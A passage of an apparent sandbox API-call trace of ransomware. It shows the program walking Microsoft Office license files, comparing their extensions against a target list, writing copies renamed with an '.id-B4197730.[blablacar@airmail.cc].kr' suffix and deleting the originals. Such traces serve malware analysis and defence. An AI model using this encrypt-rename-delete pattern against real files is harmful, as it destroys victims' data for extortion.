(lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0215.001] lstrlenW (lpString=".zip") returned 4 [0215.001] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.001] lstrlenW (lpString=".rar") returned 4 [0215.001] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.002] lstrlenW (lpString=".bz2") returned 4 [0215.002] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.002] lstrlenW (lpString=".7z") returned 3 [0215.002] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0215.002] lstrlenW (lpString=".dbf") returned 4 [0215.002] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0215.002] lstrlenW (lpString=".1cd") returned 4 [0215.002] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0215.002] lstrlenW (lpString=".jpg") returned 4 [0215.002] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0215.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0215.002] lstrlenW (lpString=".doc") returned 4 [0215.002] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.002] lstrlenW (lpString=".docx") returned 5 [0215.002] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.002] lstrlenW (lpString=".pdf") returned 4 [0215.002] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.002] lstrlenW (lpString=".xls") returned 4 [0215.002] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.002] lstrlenW (lpString=".xlsx") returned 5 [0215.002] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.002] lstrlenW (lpString=".ppt") returned 4 [0215.002] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0215.002] lstrlenW (lpString=".zip") returned 4 [0215.002] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.002] lstrlenW (lpString=".rar") returned 4 [0215.002] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.002] lstrlenW (lpString=".bz2") returned 4 [0215.002] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.003] lstrlenW (lpString=".7z") returned 3 [0215.003] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0215.003] lstrlenW (lpString=".dbf") returned 4 [0215.003] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0215.003] lstrlenW (lpString=".1cd") returned 4 [0215.003] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0215.003] lstrlenW (lpString=".jpg") returned 4 [0215.003] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.003] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.003] lstrlenW (lpString="ProjectProCO365R_SubTrial-pl.xrm-ms") returned 35 [0215.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0215.004] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11191) returned 1 [0215.004] CloseHandle (hObject=0x568) returned 1 [0215.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-pl.xrm-ms")) returned 0x220 [0215.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0215.004] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.005] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0215.006] GetLastError () returned 0x0 [0215.006] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2bb7, lpOverlapped=0x0) returned 1 [0215.431] WriteFile (in: hFile=0x564, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0215.432] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0215.432] WriteFile (in: hFile=0x564, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x11a, lpOverlapped=0x0) returned 1 [0215.433] SetEndOfFile (hFile=0x564) returned 1 [0215.433] CloseHandle (hObject=0x564) returned 1 [0215.433] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.433] SetEndOfFile (hFile=0x568) returned 1 [0215.436] CloseHandle (hObject=0x568) returned 1 [0215.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.437] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-pl.xrm-ms")) returned 1 [0215.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms") returned 85 [0215.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms") returned 85 [0215.438] lstrlenW (lpString=".doc") returned 4 [0215.438] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.438] lstrlenW (lpString=".docx") returned 5 [0215.438] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.439] lstrlenW (lpString=".pdf") returned 4 [0215.439] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.439] lstrlenW (lpString=".xls") returned 4 [0215.439] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.439] lstrlenW (lpString=".xlsx") returned 5 [0215.439] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.439] lstrlenW (lpString=".ppt") returned 4 [0215.439] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms") returned 85 [0215.439] lstrlenW (lpString=".zip") returned 4 [0215.439] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.439] lstrlenW (lpString=".rar") returned 4 [0215.439] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.439] lstrlenW (lpString=".bz2") returned 4 [0215.439] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.439] lstrlenW (lpString=".7z") returned 3 [0215.439] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms") returned 85 [0215.439] lstrlenW (lpString=".dbf") returned 4 [0215.439] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms") returned 85 [0215.439] lstrlenW (lpString=".1cd") returned 4 [0215.439] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms") returned 85 [0215.439] lstrlenW (lpString=".jpg") returned 4 [0215.439] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms") returned 85 [0215.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms") returned 85 [0215.439] lstrlenW (lpString=".doc") returned 4 [0215.439] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.439] lstrlenW (lpString=".docx") returned 5 [0215.439] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.439] lstrlenW (lpString=".pdf") returned 4 [0215.440] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.440] lstrlenW (lpString=".xls") returned 4 [0215.440] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.440] lstrlenW (lpString=".xlsx") returned 5 [0215.440] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.440] lstrlenW (lpString=".ppt") returned 4 [0215.440] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms") returned 85 [0215.440] lstrlenW (lpString=".zip") returned 4 [0215.440] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.440] lstrlenW (lpString=".rar") returned 4 [0215.440] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.440] lstrlenW (lpString=".bz2") returned 4 [0215.440] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.440] lstrlenW (lpString=".7z") returned 3 [0215.440] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms") returned 85 [0215.440] lstrlenW (lpString=".dbf") returned 4 [0215.440] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms") returned 85 [0215.440] lstrlenW (lpString=".1cd") returned 4 [0215.440] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms") returned 85 [0215.440] lstrlenW (lpString=".jpg") returned 4 [0215.440] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.440] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.440] lstrlenW (lpString="ProjectProO365R_Subscription-pl.xrm-ms") returned 38 [0215.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0215.441] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11203) returned 1 [0215.441] CloseHandle (hObject=0x568) returned 1 [0215.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-pl.xrm-ms")) returned 0x220 [0215.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0215.442] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.442] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0215.443] GetLastError () returned 0x0 [0215.443] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2bc3, lpOverlapped=0x0) returned 1 [0215.445] WriteFile (in: hFile=0x564, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2bd0, lpOverlapped=0x0) returned 1 [0215.446] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0215.446] WriteFile (in: hFile=0x564, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x120, lpOverlapped=0x0) returned 1 [0215.446] SetEndOfFile (hFile=0x564) returned 1 [0215.446] CloseHandle (hObject=0x564) returned 1 [0215.447] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.447] SetEndOfFile (hFile=0x568) returned 1 [0215.449] CloseHandle (hObject=0x568) returned 1 [0215.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-pl.xrm-ms")) returned 1 [0215.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-pl.xrm-ms") returned 88 [0215.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-pl.xrm-ms") returned 88 [0215.450] lstrlenW (lpString=".doc") returned 4 [0215.450] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.450] lstrlenW (lpString=".docx") returned 5 [0215.450] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.450] lstrlenW (lpString=".pdf") returned 4 [0215.451] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.451] lstrlenW (lpString=".xls") returned 4 [0215.451] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.451] lstrlenW (lpString=".xlsx") returned 5 [0215.451] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.451] lstrlenW (lpString=".ppt") returned 4 [0215.451] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-pl.xrm-ms") returned 88 [0215.451] lstrlenW (lpString=".zip") returned 4 [0215.451] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.451] lstrlenW (lpString=".rar") returned 4 [0215.451] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.451] lstrlenW (lpString=".bz2") returned 4 [0215.451] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.451] lstrlenW (lpString=".7z") returned 3 [0215.451] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-pl.xrm-ms") returned 88 [0215.451] lstrlenW (lpString=".dbf") returned 4 [0215.451] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-pl.xrm-ms") returned 88 [0215.451] lstrlenW (lpString=".1cd") returned 4 [0215.451] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-pl.xrm-ms") returned 88 [0215.451] lstrlenW (lpString=".jpg") returned 4 [0215.451] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-pl.xrm-ms") returned 88 [0215.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-pl.xrm-ms") returned 88 [0215.451] lstrlenW (lpString=".doc") returned 4 [0215.451] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.451] lstrlenW (lpString=".docx") returned 5 [0215.451] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.451] lstrlenW (lpString=".pdf") returned 4 [0215.451] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.452] lstrlenW (lpString=".xls") returned 4 [0215.453] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.453] lstrlenW (lpString=".xlsx") returned 5 [0215.453] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.453] lstrlenW (lpString=".ppt") returned 4 [0215.453] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-pl.xrm-ms") returned 88 [0215.453] lstrlenW (lpString=".zip") returned 4 [0215.453] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.453] lstrlenW (lpString=".rar") returned 4 [0215.453] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.453] lstrlenW (lpString=".bz2") returned 4 [0215.453] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.453] lstrlenW (lpString=".7z") returned 3 [0215.453] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-pl.xrm-ms") returned 88 [0215.453] lstrlenW (lpString=".dbf") returned 4 [0215.453] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-pl.xrm-ms") returned 88 [0215.453] lstrlenW (lpString=".1cd") returned 4 [0215.453] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-pl.xrm-ms") returned 88 [0215.453] lstrlenW (lpString=".jpg") returned 4 [0215.453] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.453] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.453] lstrlenW (lpString="ProjectProO365R_Subscription-ppd.xrm-ms") returned 39 [0215.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0215.454] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=21408) returned 1 [0215.454] CloseHandle (hObject=0x568) returned 1 [0215.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-ppd.xrm-ms")) returned 0x220 [0215.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0215.455] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.455] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0215.456] GetLastError () returned 0x0 [0215.456] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x53a0, lpOverlapped=0x0) returned 1 [0215.458] WriteFile (in: hFile=0x564, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x53b0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x53b0, lpOverlapped=0x0) returned 1 [0215.459] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0215.459] WriteFile (in: hFile=0x564, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x122, lpOverlapped=0x0) returned 1 [0215.459] SetEndOfFile (hFile=0x564) returned 1 [0215.460] CloseHandle (hObject=0x564) returned 1 [0215.460] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.460] SetEndOfFile (hFile=0x568) returned 1 [0215.463] CloseHandle (hObject=0x568) returned 1 [0215.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.463] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-ppd.xrm-ms")) returned 1 [0215.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ppd.xrm-ms") returned 89 [0215.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ppd.xrm-ms") returned 89 [0215.464] lstrlenW (lpString=".doc") returned 4 [0215.464] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 